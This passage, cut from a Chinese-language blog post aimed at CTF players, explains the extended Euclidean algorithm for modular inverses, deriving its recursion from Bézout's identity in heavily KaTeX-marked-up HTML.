class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span></span></span></span></span></p><p>但這等於我們還要先去算出歐拉函數，通常不會比較方便。因此此時較為建議以下方法二。</p><h3 id="%E6%96%B9%E6%B3%95%E4%BA%8C%EF%BC%9A%E6%93%B4%E5%B1%95%E6%AD%90%E5%B9%BE%E9%87%8C%E5%BE%97%E7%AE%97%E6%B3%95" tabindex="-1" id="方法二：擴展歐幾里得算法">方法二：擴展歐幾里得算法</h3><blockquote><p>打CTF也打多久了，怎麼連個擴展歐幾里得都不會寫<br>我也是搞好久才懂</p></blockquote><p>這個演算法十分重要，打Crypto時也會遇到(騙你的，這太基礎了題目大概是不會考這個w)</p><p>我們都知道歐幾里得演算法(也就是輾轉相除法)可以用來求兩數的最大公因數，那擴展歐幾里得算法是拿來幹嘛的呢？<br>貝祖定理告訴我們，對於所有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo>∈</mo><mi mathvariant="double-struck">Z</mi></mrow><annotation encoding="application/x-tex">a,b\in \Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">Z</span></span></span></span>且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>b</mi><mo mathvariant="normal">≠</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">ab\neq 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ab</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，存在<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo>∈</mo><mi mathvariant="double-struck">Z</mi></mrow><annotation encoding="application/x-tex">x,y\in\Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">Z</span></span></span></span>使得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mi>y</mi><mo>=</mo><mi>gcd</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">ax+by=\gcd(a,b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span style="margin-right:0.0139em;">g</span>cd</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span></span></p><p>擴展歐幾里得演算法就是用來找出這組整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的。<br>以下說明用到了遞迴的概念。<br>先將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex">b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span>除，得到</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mo>=</mo><mi>b</mi><mi>q</mi><mo>+</mo><mi>r</mi><mo>⇒</mo><mi>r</mi><mo>=</mo><mi>a</mi><mo>−</mo><mi>b</mi><mi>q</mi></mrow><annotation encoding="application/x-tex">a=bq+r \Rightarrow r=a-bq</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span></span></span></span></span></p><p>由輾轉相除法原理，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>gcd</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo><mo>=</mo><mi>gcd</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>b</mi><mo separator="true">,</mo><mi>r</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\gcd(a,b)=\gcd(b,r)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span style="margin-right:0.0139em;">g</span>cd</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span style="margin-right:0.0139em;">g</span>cd</span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mclose">)</span></span></span></span>，令為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>。<br>現在我們想像<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>已寫成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi><mo separator="true">,</mo><mi>r</mi></mrow><annotation encoding="application/x-tex">b,r</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span></span></span></span>的線性組合(貝祖定理)<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mi>b</mi><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>+</mo><mi>r</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">k=bx^\prime+ry^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8352em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">b</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>。<br>ㄟ，那不就把<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo>=</mo><mi>a</mi><mo>−</mo><mi>b</mi><mi>q</mi></mrow><annotation encoding="application/x-tex">r=a-bq</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span></span></span></span>代入再移項，就能整理成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mi>y</mi><mo>=</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">ax+by=k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的樣子了嗎？(注意，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi></mrow><annotation encoding="application/x-tex">q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span></span></span></span>是已知數，為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>a</mi><mi>b</mi></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{a}{b}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span>)如下</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>k</mi><mo>=</mo><mi>b</mi><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>+</mo><mi>r</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo>=</mo><mi>b</mi><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>+</mo><mo stretchy="false">(</mo><mi>a</mi><mo>−</mo><mi>b</mi><mi>q</mi><mo stretchy="false">)</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo>=</mo><mi>a</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo>+</mo><mi>b</mi><mo stretchy="false">(</mo><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>−</mo><mi>q</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">k=bx^\prime+ry^\prime=bx^\prime+(a-bq)y^\prime=ay^\prime+b(x^\prime-qy^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8852em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">b</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9963em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8852em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">b</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9963em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>所以我們只要知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo separator="true">,</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">x^\prime, y^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，就能知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo separator="true">,</mo><mi>y</mi><mo>=</mo><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>−</mo><mi>q</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">x=y^\prime, y=x^\prime-qy^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8352em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi><mo>=</mo><mo stretchy="false">⌊</mo><mfrac><mi>a</mi><mi>b</mi></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">q=\lfloor\frac{a}{b}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span><br>那我們怎麼求出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo separator="true">,</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">x^\prime, y^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>呢？沒錯，用擴展歐幾里得演算法。(所以說是遞迴嘛)</p><p>欲遞迴，我們記得處理base case，函式才停得下來。最簡單的base case即當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">b=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，返回<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>1</mn><mo separator="true">,</mo><mn>0</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(1,0)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" 